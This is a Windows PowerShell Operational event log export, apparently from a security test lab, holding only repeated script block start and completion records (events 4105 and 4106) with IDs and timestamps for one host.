ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030423
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030422
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030421
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030420
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030404
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030403
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030398
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030397
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030392
Keywords=None
